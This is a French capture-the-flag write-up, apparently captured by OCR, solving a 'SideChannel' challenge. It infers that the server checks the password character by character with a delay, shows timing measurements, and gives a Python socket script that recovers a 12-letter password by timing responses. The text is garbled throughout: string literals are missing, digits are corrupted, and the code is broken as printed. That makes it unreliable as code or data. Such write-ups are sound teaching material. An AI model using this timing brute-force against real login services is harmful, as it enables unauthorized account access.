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1 Résolution SideChannel :

Le nom du challenge qui est SideChannel et ’astuce que le serveur vérifie le mot de passe d’une fagon étrange nous
indique qu’on pourrait peut étre récupérer de I'information depuis le temps que le serveur prend a vérifier le mot de
passe. Voici le code don on peut deviner qu’il s’exécute sur le serveur :

vraiMotDePasse ?
motDePasseUser demanderMotDePasse ()
motDePasseUser motDePasseUser [: longueur (vraiMotDePasse)]
Pour i allant de O & min(longueur (vraiMotDePasse), longueur (motDePasseUser))
Si vraiMotDePasse[i] != motDePasseUser [il]
Retourner Faux
Attendre x secondes
Retourner Vrai

On peut donc tenter d’envoyer un premier caractére pour voir si cette intuition est la bonne :

Starting for the @-th letter
a — Temps verification ©0.021546125411987305
Temps verification = 0.02131032943725586
Temps verification 0.02179694175720215
Temps verification 0.02098822593688965
Temps verification 0.02052211761474609U
Temps verification 0.0209934711145629883
Temps verification = 0.021329164505004883
Temps verification 0.021213531494140625
Temps verification 0.021226044563293457
Temps verification 0.0208044052124602344
Temps verification 0.0210678577U4230957
Temps verification = 0.023U48947525024414
Temps verification 0.02075481414794922
Temps verification 0.021020650863647U6
Temps verification 0.019u452810287475586
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Temps verification .0199193954U6777344
Temps verification .020649909973141453
Temps verification .021376848220825195
Temps verification .02030801773071289
Temps verification .52178835868835U5
Temps verification .020991802215576172
Temps verification .020939111709594727
Temps verification .02160954475402832
Temps verification .021762847900390625
Temps verification .023262739181518555
Temps verification .02159714698791504
Found letter t (time = 2178835868835U5)
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Et comme on peut le voir ¢a semble étre le cas, le serveur vérifie une lettre toutes les 0.5 secondes !

Pour finir, nous pouvons coder la solution associé qui va trouver les 12 lettres du mot de passe :

import math

import time

import random

import os, sys, socket

server =
port = 23410

password =
for i in range(0, 12)

print ( + str(i) + )
dataSave =
maxTime, maxTimeLetter = -1, None

for j in range (0, 26)

ma_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:

ma_socket.connect ((server, port))
except Exception as e:

print( , e.args)

sys.exit (1)

data = ma_socket.recv(16384) .decode ( )
ma_socket.sendall ((password + chr (ord( ) + j) + ) .encode ( ))
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currentTime = time.time ()
data = ma_socket.recv (4096) .decode ( )
elapsedTime = time.time() - currentTime
if maxTime == -1 or elapsedTime > maxTime
dataSave = data
maxTime = elapsedTime
maxTimeLetter = chr (ord( )+ 3)

ma_socket.close ()

print ( + maxTimeLetter + + str(maxTime) +
print ()

password += maxTimeLetter

if i == 11

print (password, dataSave)
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